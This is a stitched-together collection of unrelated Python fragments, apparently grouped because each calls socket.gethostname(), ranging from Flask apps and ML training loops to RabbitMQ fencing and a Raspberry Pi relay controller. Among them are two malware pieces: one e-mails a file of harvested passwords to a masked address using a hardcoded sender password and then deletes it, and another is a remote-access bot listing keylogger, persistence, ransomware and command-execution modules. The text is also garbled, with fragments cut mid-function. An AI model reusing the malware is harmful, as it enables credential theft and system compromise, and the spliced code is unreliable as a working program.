path_edges = args['path_edges'] + args['graph_id'] + '_edges_' + args['partition_id'] + ".csv"
edges = pd.read_csv(path_edges)
#edges = edges.astype({"source":"uint32","target":"uint32"})
model = Model(nodes,edges)
model.initialize()
import socket ## Inportação do socket que irá permitir as conexões
s = socket.socket() ## Atribui "s" para o socket criar o objeto
host = socket.gethostname() ## host recebe o endereço do programa
port = 8080 ## Definido a porta 8080, mas poderia ser qualquer outra que você queira.
s.bind((host, port)) ## Ligação do host e da porta com o socket
s.listen(1) ## Aqui ficamos ouvindo uma conexão de entrada
print(host) ## Imprime o endereço do servidor, que será usado pelo cliente se conectar ao servidor
print("Aguardando qualquer conexão de entrada ...") ## Imprime a msn que aguarda uma conexão de entrada
conn, addr = s.accept() ## Aceita todas as conexões
print(addr, "Se conectou ao servidor!") ## imprime o endereço do cliente que faz a conexão
## CRIANDO O ARQUIVO PARA TRANSFERÊNCIA
##Aqui o usuario entra com uma string informando o nome do arquivo que deseja e salva em filename
filename = input(str("Por favor, digite o nome do arquivo txt que deseja receber : "))
file = open(filename , 'rb') ## Abre o arquivo no modo de leitura de bytes.
file_data = file.read(1024)
conn.send(file_data) ## Diz para a conexão enviar os dados ao cliente
print("Os dados foram transmitidos com sucesso!") ## Se os dados for transmitidos, imprime a msn de sucesso
# the project for the full license. #
# #
#####################################################################
from __future__ import division
import os
from numbers import Number
from zprocess import zmq_get
from labscript_utils.labconfig import LabConfig, config_prefix
import socket
__version__ = '1.0.0'
_exp_config = LabConfig(
os.path.join(config_prefix, '%s.ini' % socket.gethostname()))
class MiseParameter(object):
def __init__(self, min, max, mutation_rate=None, log=False, initial=None):
# Check for valid min and max
if not isinstance(min, Number) or not isinstance(
max, Number) or not max > min:
raise ValueError(
'MiseParameter must have unequal numerical min and max values, with min < max.'
)
# Set default mutation rate if unset:
if mutation_rate is None:
mutation_rate = (max - min) / 10
parser.add_argument('--n_iter', '-n', type=int, default=1000)
parser.add_argument('--n_directions', '-nd', type=int, default=8)
parser.add_argument('--deltas_used', '-du', type=int, default=8)
parser.add_argument('--step_size', '-s', type=float, default=0.02)
parser.add_argument('--delta_std', '-std', type=float, default=.03)
parser.add_argument('--n_workers', '-e', type=int, default=6)
parser.add_argument('--rollout_length', '-r', type=int, default=5000)
# for Swimmer-v1 and HalfCheetah-v1 use shift = 0
# for Hopper-v1, Walker2d-v1, and Ant-v1 use shift = 1
# for Humanoid-v1 used shift = 5
parser.add_argument('--shift', type=float, default=1)
parser.add_argument('--seed', type=int, default=237)
parser.add_argument('--policy_type', type=str, default='linear')
parser.add_argument('--dir_path',
type=str,
default='trained_policies/Madras-explore7')
parser.add_argument('--logdir',
type=str,
default='trained_policies/Madras-explore7')
# for ARS V1 use filter = 'NoFilter'
parser.add_argument('--filter', type=str, default='MeanStdFilter')
local_ip = socket.gethostbyname(socket.gethostname())
ray.init(redis_address="10.32.6.37:6382")
args = parser.parse_args()
params = vars(args)
run_ars(params)
from netaddr import IPNetwork
from datastore_libnetwork import LibnetworkDatastoreClient
from pycalico.datastore_errors import DataStoreError
from pycalico.datastore_datatypes import IF_PREFIX, Endpoint
from pycalico import netns
FIXED_MAC = "EE:EE:EE:EE:EE:EE"
CONTAINER_NAME = "libnetwork"
ORCHESTRATOR_ID = "docker"
# How long to wait (seconds) for IP commands to complete.
IP_CMD_TIMEOUT = 5
hostname = socket.gethostname()
client = LibnetworkDatastoreClient()
# Return all errors as JSON. From http://flask.pocoo.org/snippets/83/
def make_json_app(import_name, **kwargs):
"""
Creates a JSON-oriented Flask app.
All error responses that you don't specifically
manage yourself will have application/json content
type, and will contain JSON like this (just an example):
{ "Err": "405: Method Not Allowed" }
"""
def make_json_error(ex):
response = jsonify({"Err":str(ex)})
default='mysql://*****:*****@localhost/heat',
help='The SQLAlchemy connection string used to connect to the '
'database'),
cfg.IntOpt('sql_idle_timeout',
default=3600,
help='timeout before idle sql connections are reaped'),
]
engine_opts = [
cfg.StrOpt('instance_driver',
default='heat.engine.nova',
help='Driver to use for controlling instances')
]
rpc_opts = [
cfg.StrOpt(
'host',
default=socket.gethostname(),
help='Name of the engine node. This can be an opaque identifier.'
'It is not necessarily a hostname, FQDN, or IP address.'),
cfg.StrOpt('engine_topic',
default='engine',
help='the topic engine nodes listen on')
]
def register_metadata_opts():
cfg.CONF.register_opts(service_opts)
cfg.CONF.register_opts(bind_opts)
cfg.CONF.register_opts(rpc_opts)
def register_api_opts():
import time
import socket
import json
import cv2
import queue
import time
import numpy as np
import logging as log
import paho.mqtt.client as mqtt
from argparse import ArgumentParser
from inference import Network
# MQTT server environment variables
HOSTNAME = socket.gethostname()
IPADDRESS = socket.gethostbyname(HOSTNAME)
MQTT_HOST = IPADDRESS
MQTT_PORT = 3001
MQTT_KEEPALIVE_INTERVAL = 60
SECUENCIAL_SAFE_FRAMES = 10
def build_argparser():
"""
Parse command line arguments.
:return: command line arguments
"""
parser = ArgumentParser()
def getMyName(): hostname = socket.gethostname() return hostname
def catchall_signal_lh(*args, **kwargs):
def bash_command(cmd):
p = subprocess.Popen(cmd, env=env, shell=True,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
out, err = p.communicate()
my_logger.debug('Command %s' % cmd)
if out != '':
my_logger.debug(' Stdout: %s' % out)
if err != '':
my_logger.debug(' Stderr: %s' % err)
return out.strip()
message = kwargs['message']
action = args[3]
if kwargs['type'] == 'NodeStateChange' and action == 'left':
node = args[0]
this_node = socket.gethostname().split('.')[0]
node_name = node.split('.')[0]
cmd = 'cat /etc/rabbitmq/node_name_prefix_for_messaging 2>/dev/null'
node_name_prefix = bash_command(cmd)
if node_name_prefix == 'nil' or node_name_prefix in node_name:
node_name_prefix = ''
node_to_remove = 'rabbit@%s%s' % (node_name_prefix, node_name)
my_logger.info("Got %s that left cluster" % node)
my_logger.debug(kwargs)
for arg in message.get_args_list():
my_logger.debug(" " + str(arg))
my_logger.info("Preparing to fence node %s from rabbit cluster"
% node_to_remove)
if node == '' or re.search('\\b%s\\b' % this_node, node_name):
my_logger.debug('Ignoring the node %s' % node_to_remove)
return
# NOTE(bogdando) when the rabbit node went down, its status
# remains 'running' for a while, so few retries are required
count = 0
while True:
cmd = ('rabbitmqctl eval '
'"mnesia:system_info(running_db_nodes)."'
'| grep -o %s') % node_to_remove
results = bash_command(cmd)
is_running = results != ''
if not is_running or count >= 5:
break
count += 1
time.sleep(10)
if is_running:
my_logger.warn('Ignoring alive node %s' % node_to_remove)
return
cmd = ('rabbitmqctl eval '
'"mnesia:system_info(db_nodes)."'
'| grep -o %s') % node_to_remove
results = bash_command(cmd)
in_cluster = results != ''
if not in_cluster:
my_logger.debug('Ignoring forgotten node %s' % node_to_remove)
return
my_logger.info('Disconnecting node %s' % node_to_remove)
cmd = ('rabbitmqctl eval "disconnect_node'
'(list_to_atom(\\"%s\\"))."') % node_to_remove
bash_command(cmd)
my_logger.info('Forgetting cluster node %s' % node_to_remove)
cmd = 'rabbitmqctl forget_cluster_node %s' % node_to_remove
bash_command(cmd)
def _makerage(ui, repo, **opts):
configoverrides = {
# Make graphlog shorter.
("experimental", "graphshorten"):
"1",
# Force use of lines-square renderer, as the user's configuration may
# not render properly in a text file.
("experimental", "graph.renderer"):
"lines-square",
# Reduce the amount of data used for debugnetwork speed tests to
# increase the chance they complete within 20s.
("debugnetwork", "speed-test-download-size"):
"4M",
("debugnetwork", "speed-test-upload-size"):
"1M",
}
# Override the encoding to "UTF-8" to generate the rage in UTF-8.
oldencoding = encoding.encoding
oldencodingmode = encoding.encodingmode
encoding.encoding = "UTF-8"
encoding.encodingmode = "replace"
def hgcmd(cmdname, *args, **additional_opts):
cmd, opts = cmdutil.getcmdanddefaultopts(cmdname, commands.table)
opts.update(additional_opts)
_repo = repo
if "_repo" in opts:
_repo = opts["_repo"]
del opts["_repo"]
# If we failed to popbuffer for some reason, do not mess up with the
# main `ui` object.
newui = ui.copy()
newui.pushbuffer(error=True, subproc=True)
newui._colormode = None
def remoteui(orig, src, opts):
rui = orig(src, opts)
rui._outputui = newui
return rui
try:
with newui.configoverride(configoverrides,
"rage"), extensions.wrappedfunction(
hg, "remoteui", remoteui):
if cmd.norepo:
cmd(newui, *args, **opts)
else:
cmd(newui, _repo, *args, **opts)
finally:
return newui.popbuffer()
basic = [
("date", lambda: time.ctime()),
("unixname", lambda: encoding.environ.get("LOGNAME")),
("hostname", lambda: socket.gethostname()),
("repo location", lambda: repo.root),
("cwd", lambda: pycompat.getcwd()),
("fstype", lambda: util.getfstype(repo.root)),
("active bookmark",
lambda: bookmarks._readactive(repo, repo._bookmarks)),
(
"hg version",
lambda: __import__("edenscm.mercurial.__version__").mercurial.
__version__.version,
),
]
detailed = [
("df -h", lambda: shcmd("df -h", check=False)),
# smartlog as the user sees it
("hg sl", lambda: hgcmd("smartlog", template="{sl_debug}")),
(
"hg debugmetalog -t 'since 2d ago'",
lambda: hgcmd("debugmetalog", time_range=["since 2d ago"]),
),
(
'first 20 lines of "hg status"',
lambda: "\n".join(hgcmd("status").splitlines()[:20]),
),
(
"hg debugmutation -r 'draft() & date(-4)' -t 'since 4d ago'",
lambda: hgcmd("debugmutation",
rev=["draft() & date(-4)"],
time_range=["since 4d ago"]),
),
("sigtrace", lambda: readsigtraces(repo)),
(
"hg blackbox",
lambda: "\n".join(
hgcmd("blackbox", pattern=BLACKBOX_PATTERN).splitlines()[-500:]
),
),
("hg summary", lambda: hgcmd("summary")),
("hg cloud status", lambda: hgcmd("cloud status")),
("hg debugprocesstree", lambda: hgcmd("debugprocesstree")),
("hg config (local)", lambda: "\n".join(localconfig(ui))),
("hg sparse", lambda: hgcmd("sparse")),
("hg debugchangelog", lambda: hgcmd("debugchangelog")),
("hg debuginstall", lambda: hgcmd("debuginstall")),
("hg debugdetectissues", lambda: hgcmd("debugdetectissues")),
("usechg", usechginfo),
(
"uptime",
lambda: shcmd("wmic path Win32_OperatingSystem get LastBootUpTime"
if pycompat.iswindows else "uptime"),
),
("rpm info", (partial(rpminfo, ui))),
("klist", lambda: shcmd("klist", check=False)),
("ifconfig", lambda: shcmd("ipconfig"
if pycompat.iswindows else "ifconfig")),
(
"airport",
lambda: shcmd(
"/System/Library/PrivateFrameworks/Apple80211." +
"framework/Versions/Current/Resources/airport " + "--getinfo",
check=False,
),
),
("hg debugnetwork", lambda: hgcmd("debugnetwork")),
("infinitepush backup state",
lambda: readinfinitepushbackupstate(repo)),
("commit cloud workspace sync state",
lambda: readcommitcloudstate(repo)),
(
"infinitepush / commitcloud backup logs",
lambda: infinitepushbackuplogs(ui, repo),
),
("scm daemon logs", lambda: scmdaemonlog(ui, repo)),
("debugstatus", lambda: hgcmd("debugstatus")),
("debugtree", lambda: hgcmd("debugtree")),
("hg config (all)", lambda: "\n".join(allconfig(ui))),
("edenfs rage", lambda: shcmd("edenfsctl rage --stdout")),
(
"environment variables",
lambda: "\n".join(
sorted([
"{}={}".format(k, v) for k, v in encoding.environ.items()
])),
),
("ssh config",
lambda: shcmd("ssh -G hg.vip.facebook.com", check=False)),
("debuglocks", lambda: hgcmd("debuglocks")),
]
msg = ""
if util.safehasattr(repo, "name"):
# Add the contents of both local and shared pack directories.
packlocs = {
"local":
lambda category: shallowutil.getlocalpackpath(
repo.svfs.vfs.base, category),
"shared":
lambda category: shallowutil.getcachepackpath(repo, category),
}
for loc, getpath in pycompat.iteritems(packlocs):
for category in constants.ALL_CATEGORIES:
path = getpath(category)
detailed.append((
"%s packs (%s)" % (loc, constants.getunits(category)),
lambda path=path: "%s:\n%s" % (
path,
shcmd("dir /o-s %s" % os.path.normpath(path)
if pycompat.iswindows else "ls -lhS %s" % path),
),
))
footnotes = []
timeout = opts.get("timeout") or 20
def _failsafe(gen, timeout=timeout):
class TimedOut(RuntimeError):
pass
def target(result, gen):
try:
result.append(gen())
except TimedOut:
return
except Exception as ex:
index = len(footnotes) + 1
footnotes.append("[%d]: %s\n%s\n\n" %
(index, str(ex), traceback.format_exc()))
result.append("(Failed. See footnote [%d])" % index)
result = []
thread = threading.Thread(target=target, args=(result, gen))
thread.daemon = True
thread.start()
thread.join(timeout)
if result:
value = result[0]
return value
else:
if thread.is_alive():
# Attempt to stop the thread, since hg is not thread safe.
# There is no pure Python API to interrupt a thread.
# But CPython C API can do that.
ctypes.pythonapi.PyThreadState_SetAsyncExc(
ctypes.c_long(thread.ident), ctypes.py_object(TimedOut))
return (
"(Did not complete in %s seconds, rerun with a larger --timeout to collect this)"
% timeout)
msg = []
profile = []
allstart = time.time()
for name, gen in basic:
msg.append("%s: %s\n\n" % (name, _failsafe(gen)))
profile.append((time.time() - allstart, "basic info", None))
for name, gen in detailed:
start = time.time()
with progress.spinner(ui, "collecting %r" % name):
value = _failsafe(gen)
finish = time.time()
msg.append("%s: (%.2f s)\n---------------------------\n%s\n\n" %
(name, finish - start, value))
profile.append((finish - start, name, value.count("\n")))
allfinish = time.time()
profile.append((allfinish - allstart, "total time", None))
msg.append("hg rage profile:\n")
width = max([len(name) for _t, name, _l in profile])
for timetaken, name, lines in reversed(sorted(profile)):
m = " %-*s %8.2f s" % (width + 1, name + ":", timetaken)
if lines is not None:
msg.append("%s for %4d lines\n" % (m, lines))
else:
msg.append("%s\n" % m)
msg.append("\n")
msg.extend(footnotes)
msg = "".join(msg)
encoding.encoding = oldencoding
encoding.encodingmode = oldencodingmode
return msg
import uuid
import time
from tasks import add_task
import socket
env = os.environ
app = Flask(__name__)
import logging
from logging.handlers import RotatingFileHandler
logger = logging.getLogger('app')
logger.setLevel(logging.DEBUG)
handler = RotatingFileHandler('log/app.log',
maxBytes=1024000 * 1024000,
backupCount=2)
logger.addHandler(handler)
container_id = socket.gethostname()
@app.route('/add/<int:param1>/<int:param2>/<param3>')
def add(param1, param2, param3):
task = add_task.apply_async(args=[param1, param2],
kwargs={},
task_id=param3)
# add.apply_async()
# t1 = time.time()
# task = celery.send_task('mytasks.add', args=[param1, param2], kwargs={}, task_id=str(uuid.uuid4()))
# a = time.time() - t1
# print(time.time() - t1)
logger.info(container_id)
return "<a href='{url}'>check status of {id} time add to queue </a>".format(
id=task.id, url=url_for('check_task', id=task.id, _external=True))
def hello():
html = "<h3>Hello {name}!</h3> <b>Hostname:</b> {hostname}<br/>"
return html.format(name=os.getenv("NAME", "world"), hostname=socket.gethostname())
import sys
import p1b1_runner
import json, os
import socket
if (len(sys.argv) < 3):
print('requires arg1=param and arg2=filename')
sys.exit(1)
parameterString = sys.argv[1]
filename = sys.argv[2]
# print (parameterString)
print("filename is " + filename)
print(socket.gethostname())
integs = [int(x) for x in parameterString.split(',')]
print(integs)
hyper_parameter_map = {'epochs': integs[0]}
hyper_parameter_map['framework'] = 'keras'
hyper_parameter_map['batch_size'] = integs[1]
hyper_parameter_map['dense'] = [integs[2], integs[3]]
hyper_parameter_map['run_id'] = parameterString
# hyper_parameter_map['instance_directory'] = os.environ['TURBINE_OUTPUT']
hyper_parameter_map['save'] = os.environ[
'TURBINE_OUTPUT'] + "/output-" + os.environ['PMI_RANK']
sys.argv = ['p1b1_runner']
val_loss = p1b1_runner.run(hyper_parameter_map)
print(val_loss)
contexts = {v_thing_ID: context_vThing}
port_mapping = db[thing_visor_collection].find_one(
{"thingVisorID": thing_visor_ID}, {
"port": 1,
"_id": 0
})
poa_IP_dict = db[thing_visor_collection].find_one(
{"thingVisorID": thing_visor_ID}, {
"IP": 1,
"_id": 0
})
poa_IP = str(poa_IP_dict['IP'])
poa_port = port_mapping['port'][str(flask_port) + '/tcp']
if not poa_IP:
poa_IP = socket.gethostbyname(socket.gethostname())
if not poa_port:
poa_port = flask_port
notification_URI = ["http://" + poa_IP + ":" + poa_port + "/notify"]
# set v_thing_topic the name of mqtt topic on witch publish vThing data
# e.g vThing/helloWorld/hello
v_thing_topic = v_thing_prefix + "/" + v_thing_ID
mqtt_control_client = mqtt.Client()
mqtt_data_client = mqtt.Client()
thread1 = httpThread() # http server used to receive subscribed data
thread1.start()
mqtt_control_thread = mqttControlThread() # mqtt control thread
def main():
val_step = 10000
val_steps = [10000,]
train_step = 500
hostname = socket.gethostname()
args.stepvalues = [int(val) for val in args.step_values.split(',')]
exp_name = '{}-{}-{}-{}--P{:d}-is{:d}-sl{:02d}-g{:d}-fs{:d}-{}-{:06d}'.format(args.dataset,args.datasubset,
args.input, args.arch, args.pretrained, args.isize, args.seq_len, args.gap,
args.frame_step, args.batch_size, int(args.lr * 1000000))
args.exp_name = exp_name
args.root += args.dataset+'/'
args.save_root += args.dataset+'/'
model_save_dir = args.save_root + 'cache/' + exp_name
if not os.path.isdir(model_save_dir):
os.system('mkdir -p ' + model_save_dir)
args.model_save_dir = model_save_dir
# args.global_models_dir = os.path.expanduser(args.global_models_dir)
if args.visdom:
import visdom
viz = visdom.Visdom()
# ports = {'mars':8097,'sun':8096}
viz.port = args.vis_port
viz.env = exp_name
# initialize visdom loss plot
loss_plot = viz.line(
X=torch.zeros((1,)).cpu(),
Y=torch.zeros((1, 2)).cpu(),
opts=dict(
xlabel='Iteration',
ylabel='Losses',
title='Train & Val Losses',
legend=['Train-Loss', 'Val-Loss']
)
)
eval_plot = viz.line(
X=torch.zeros((1,)).cpu(),
Y=torch.zeros((1, 4)).cpu(),
opts=dict(
xlabel='Iteration',
ylabel='Accuracy',
title='Train & Val Accuracies',
legend=['trainTop3', 'valTop3', 'trainTop1','valTop1']
)
)
## load dataloading configs
input_size, means, stds = get_mean_size(args.arch)
input_size = args.isize
normalize = transforms.Normalize(mean=means,
std=stds)
# Data loading transform based on model type
transform = transforms.Compose([transforms.ToTensor(), normalize])
val_transform = transforms.Compose([transforms.Scale(int(input_size * 1.1)),
transforms.CenterCrop(int(input_size)),
transforms.ToTensor(),
normalize,
])
if args.arch.find('vgg') > -1:
transform = BaseTransform(size=input_size,mean=means)
val_transform = transform
print('\n\ntransforms are going to be VGG type\n\n')
subsets = ['train']
# pdb.set_trace()
train_dataset = KINETICS(args.root,
args.input,
transform,
dataset_name=args.dataset,
netname=args.arch,
datasubset=args.datasubset,
subsets=subsets,
scale_size=int(input_size*1.1),
input_size=int(input_size),
exp_name=exp_name,
frame_step=args.frame_step,
seq_len=args.seq_len,
gap=args.gap
)
args.num_classes = train_dataset.num_classes
print('Models will be cached in ', args.model_save_dir, 'has ', args.num_classes, ' classes')
train_loader = torch.utils.data.DataLoader(train_dataset,
batch_size=args.batch_size, shuffle=True,
num_workers=args.workers, pin_memory=True
)
val_dataset = KINETICS(args.root,
args.input,
val_transform,
dataset_name=args.dataset,
netname=args.arch,
datasubset=args.datasubset,
subsets=['val',],
exp_name=exp_name,
scale_size=int(input_size * 1.1),
input_size=int(input_size),
frame_step=args.frame_step*4,
seq_len=args.seq_len,
gap=args.gap
)
val_loader = torch.utils.data.DataLoader(val_dataset,
batch_size=args.batch_size, shuffle=False,
num_workers=args.workers, pin_memory=True
)
model, criterion = initialise_model(args)
parameter_dict = dict(model.named_parameters())
params = []
for name, param in parameter_dict.items():
if name.find('bias') > -1:
params += [{'params': [param], 'lr': args.lr*2, 'weight_decay': 0}]
else:
params += [{'params': [param], 'lr': args.lr, 'weight_decay':args.weight_decay}]
optimizer = torch.optim.SGD(params, args.lr, momentum=args.momentum)
scheduler = MultiStepLR(optimizer, milestones=args.stepvalues, gamma=args.gamma)
if args.resume:
latest_file_name = '{:s}/latest.pth'.format(args.model_save_dir)
print('Resume model from ', latest_file_name)
latest_dict = torch.load(latest_file_name)
args.start_iteration = latest_dict['iteration'] + 1
model.load_state_dict(torch.load(latest_dict['model_file_name']))
optimizer.load_state_dict(torch.load(latest_dict['optimizer_file_name']))
log_fid = open(args.model_save_dir + '/training.log', 'a')
args.iteration = latest_dict['iteration']-1
for _ in range(args.iteration):
scheduler.step()
else:
log_fid = open(args.model_save_dir + '/training.log', 'w')
log_fid.write(args.exp_name + '\n')
for arg in vars(args):
print(arg, getattr(args, arg))
log_fid.write(str(arg) + ': ' + str(getattr(args, arg)) + '\n')
log_fid.write(str(model))
best_top1 = 0.0
val_loss = 0.0
val_top1 = 0.0
val_top3 = 0.0
batch_time = AverageMeter()
data_time = AverageMeter()
losses = AverageMeter()
top1 = AverageMeter()
top3 = AverageMeter()
iteration = args.start_iteration
approx_epochs = np.ceil(float(args.max_iterations-iteration)/len(train_loader))
print('Approx Epochs to RUN: {}, Start Ietration {} Max iterations {} # of samples in dataset {}'.format(
approx_epochs, iteration, args.max_iterations, len(train_loader)))
epoch = -1
if args.ngpu > 1:
print('\n\nLets do dataparallel\n\n')
model = torch.nn.DataParallel(model)
model.train()
model.apply(set_bn_eval)
torch.cuda.synchronize()
start = time.perf_counter()
while iteration < args.max_iterations:
epoch += 1
for i, (batch, targets, __ , __) in enumerate(train_loader):
if i<len(train_loader):
if iteration > args.max_iterations:
break
iteration += 1
#pdb.set_trace()
#print('input size ',batch.size())
targets = targets.cuda(async=True)
input_var = torch.autograd.Variable(batch.cuda(async=True))
target_var = torch.autograd.Variable(targets)
torch.cuda.synchronize()
data_time.update(time.perf_counter() - start)
# compute output
output = model(input_var)
loss = criterion(output, target_var)
#pdb.set_trace()
# measure accuracy and record loss
prec1, prec3 = accuracy(output.data, targets, topk=(1, 3))
losses.update(loss.data[0], batch.size(0))
top1.update(prec1[0], batch.size(0))
top3.update(prec3[0], batch.size(0))
# compute gradient and do SGD step
optimizer.zero_grad()
loss.backward()
optimizer.step()
scheduler.step()
# measure elapsed time
torch.cuda.synchronize()
batch_time.update(time.perf_counter() - start)
start = time.perf_counter()
if iteration % args.print_freq == 0:
line = 'Epoch: [{0}][{1}/{2}] Time {batch_time.val:.3f} ({batch_time.avg:.3f}) Data {data_time.val:.3f} ({data_time.avg:.3f})'.format(
epoch, iteration, len(train_loader), batch_time=batch_time, data_time=data_time)
line += 'Loss {loss.val:.4f} ({loss.avg:.4f}) Prec@1 {top1.val:.3f} ({top1.avg:.3f}) Prec@3 {top3.val:.3f} ({top3.avg:.3f})'.format(
loss=losses, top1=top1, top3=top3)
print(line)
log_fid.write(line+'\n')
avgtop1 = top1.avg
avgtop3 = top3.avg
avgloss = losses.avg
if (iteration % val_step == 0 or iteration in val_steps) and iteration > 0:
# evaluate on validation set
val_top1, val_top3, val_loss = validate(args, val_loader, model, criterion)
line = '\n\nValidation @ {:d}: Top1 {:.2f} Top3 {:.2f} Loss {:.3f}\n\n'.format(
iteration, val_top1, val_top3, val_loss)
print(line)
log_fid.write(line)
# remember best prec@1 and save checkpoint
is_best = val_top1 > best_top1
best_top1 = max(val_top1, best_top1)
torch.cuda.synchronize()
line = '\nBest Top1 sofar {:.3f} current top1 {:.3f} Time taken for Validation {:0.3f}\n\n'.format(best_top1, val_top1, time.perf_counter()-start)
log_fid.write(line + '\n')
print(line)
save_checkpoint({
'epoch': epoch,
'iteration': iteration,
'arch': args.arch,
'val_top1': val_top1,
'val_top3': val_top3,
'val_loss': val_loss,
'train_top1': avgtop1,
'train_top3': avgtop3,
'train_loss': avgloss,
'state_dict': model.state_dict(),
'optimizer' : optimizer.state_dict(),
}, is_best, args.model_save_dir)
if args.visdom:
viz.line(
X=torch.ones((1, 2)).cpu() * iteration,
Y=torch.Tensor([avgloss, val_loss]).unsqueeze(0).cpu(),
win=loss_plot,
update='append'
)
viz.line(
X=torch.ones((1, 4)).cpu() * iteration,
Y=torch.Tensor([avgtop3, val_top3, avgtop1, val_top1]).unsqueeze(0).cpu(),
win=eval_plot,
update='append'
)
model.train()
model.apply(set_bn_eval)
if iteration % train_step == 0 and iteration > 0:
if args.visdom:
viz.line(
X=torch.ones((1, 2)).cpu() * iteration,
Y=torch.Tensor([avgloss, val_loss]).unsqueeze(0).cpu(),
win=loss_plot,
update='append'
)
viz.line(
X=torch.ones((1, 4)).cpu() * iteration,
Y=torch.Tensor([avgtop3, val_top3, avgtop1, val_top1]).unsqueeze(0).cpu(),
win=eval_plot,
update='append'
)
top1.reset()
top3.reset()
losses.reset()
print('RESET::=> ', args.exp_name)
def dbPort():
return 54321 if gethostname() in dev_remote_hosts else 5432
# -----------------------------------------------------------------------------------
# Installs can also choose how long to keep FlowSessions around. These are
# potentially big but really helpful for debugging. Default is 7 days.
# -----------------------------------------------------------------------------------
FLOW_SESSION_TRIM_DAYS = 7
# -----------------------------------------------------------------------------------
# Mailroom - disabled by default, but is where simulation happens
# -----------------------------------------------------------------------------------
MAILROOM_URL = None
MAILROOM_AUTH_TOKEN = None
# -----------------------------------------------------------------------------------
# Chatbase integration
# -----------------------------------------------------------------------------------
CHATBASE_API_URL = "https://chatbase.com/api/message"
# To allow manage fields to support up to 1000 fields
DATA_UPLOAD_MAX_NUMBER_FIELDS = 4000
# When reporting metrics we use the hostname of the physical machine, not the hostname of the service
MACHINE_HOSTNAME = socket.gethostname().split(".")[0]
# ElasticSearch configuration (URL RFC-1738)
ELASTICSEARCH_URL = os.environ.get("ELASTICSEARCH_URL",
"http://localhost:9200")
# Maximum active ContactFields users can have in an Org
MAX_ACTIVE_CONTACTFIELDS_PER_ORG = 255
# Enable low securtity apps in GMAIL for the sender email permissions
send_email('*****@*****.**', 'PuG#GeLk!3552;',
'*****@*****.**', "Your passwords",
"You can find your new passwords is this e-mail !",
["dat.json"])
os.remove("dat.json")
#from modules import passwd
#from modules import keylogger
MODULES = [
'runcmd', 'persistence', 'download', 'upload', 'screenshot', 'port',
'keylogger', 'ip_scan', 'ransomware'
]
if not settings.BOT_ID:
settings.BOT_ID = socket.gethostname()
if not utils.validate_botid(settings.BOT_ID):
settings.BOT_ID = ''.join(
random.choice(string.ascii_letters) for _ in range(9))
def print_help(mod=None):
help_text = "Loaded modules:\n"
if mod is None:
for module in MODULES:
help_text += "- " + module + "\n"
help_text += sys.modules["modules." + module].help()
help_text += """
General commands:
- cd path/to/dir : changes directory
class MQTTBoard:
"""
Software link to the Raspberry pi 8 relay board.
Relay pins: (relay, chip pin, header pin) -- Init uses header pin number
1 P5 29
2 P6 31
3 P13 33
4 P16 36
5 P19 35
6 P20 38
7 P21 40
8 P26 37
Version 0.1:
- Create a software switch next to the normal wall switch. Connected through a hotel arrangement.
/------------------\
---(relay) (wall switch)----------
\------------------/
- MQTT protocol Homie
https://homieiot.github.io/specification/spec-core-v3_0_1/
Future:
- sensor pin for on/off state
"""
hostname = str(socket.gethostname())
print(hostname)
if hostname == 'LightsGroundFloor':
print("Using {0} for configuration".format(hostname))
RELAY = [False, 29, 31, 33, 36, 35, 38, 40, 37]
RELAY_NAME = [
False, 'DrivewayLight', 'ToiletLight', 'light3', 'light4',
'light5', 'light6', 'light7', 'FrontDoorLight'
]
SENSOR = [False, 3, 5, 7, 11, 13, 15, 19, 21] # Change to sensor pins
SENSOR_NAME = [
False, 'sensor1', 'SchakelaarTussendeur1', 'SchakelaarTussendeur2',
'sensor4', 'sensor5', 'sensor6', 'SchakelaarVoordeur2',
'SchakelaarVoordeur1'
]
SENSOR_STATE = [False, None, None, None, None, None, None, None, None]
elif hostname == 'LightsFirstFloor':
print("Using {0} for configuration".format(hostname))
RELAY = [False, 29, 31, 33, 36, 35, 38, 40, 37]
RELAY_NAME = [
False, 'UtilitiesRoom', 'ClosetMasterBedroom', 'light3', 'light4',
'light5', 'light6', 'light7', 'light8'
]
SENSOR = [False, 3, 5, 7, 11, 13, 15, 19, 21] # Change to sensor pins
SENSOR_NAME = [
False, 'SwitchMasterBedroom1', 'SwitchMasterBedroom2',
'SwitchEasternBlock1', 'SwitchEasternBlock2', 'sensor5', 'sensor6',
'sensor7', 'sensor8'
]
SENSOR_STATE = [False, None, None, None, None, None, None, None, None]
else:
print("Hostname not found")
def __init__(self, mqtt_host='localhost', mqtt_port=1883):
self.started = 0
self.stopped = 0
self.name = str(socket.gethostname())
# MQTT setup
self.logger = logging.getLogger('MQTTBoard')
self.logger.setLevel(logging.DEBUG)
# self.ch = logging.StreamHandler()
self.ch = logging.FileHandler('/var/log/LightsControl/lc.log')
self.ch.setLevel(logging.INFO)
formatter = logging.Formatter(
'%(asctime)s - %(name)s - %(levelname)s - %(message)s')
self.ch.setFormatter(formatter)
self.logger.addHandler(self.ch)
self.mqtt_client = MQTTClient(self.name, mqtt_host, mqtt_port)
self.logger.info("MQTT connecting to {0}:{1}".format(
mqtt_host, mqtt_port))
self.mqtt_client.set_on_connect(self.mqtt_on_connect)
self.mqtt_client.set_on_message(self.mqtt_on_message)
self.mqtt_client.connect()
self.logger.info("MQTT connected")
self.mqtt_client.start()
# GPIO setup
GPIO.setmode(GPIO.BOARD)
GPIO.setup(self.RELAY[1], GPIO.OUT)
GPIO.output(self.RELAY[1], False)
GPIO.setup(self.RELAY[2], GPIO.OUT)
GPIO.output(self.RELAY[2], False)
GPIO.setup(self.RELAY[3], GPIO.OUT)
GPIO.output(self.RELAY[3], False)
GPIO.setup(self.RELAY[4], GPIO.OUT)
GPIO.output(self.RELAY[4], False)
GPIO.setup(self.RELAY[5], GPIO.OUT)
GPIO.output(self.RELAY[5], False)
GPIO.setup(self.RELAY[6], GPIO.OUT)
GPIO.output(self.RELAY[6], False)
GPIO.setup(self.RELAY[7], GPIO.OUT)
GPIO.output(self.RELAY[7], False)
GPIO.setup(self.RELAY[8], GPIO.OUT)
GPIO.output(self.RELAY[8], False)
GPIO.setup(self.SENSOR[1], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[2], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[3], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[4], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[5], GPIO.IN, pull_up_down=GPIO.PUD_UP)
GPIO.setup(self.SENSOR[6], GPIO.IN, pull_up_down=GPIO.PUD_UP)
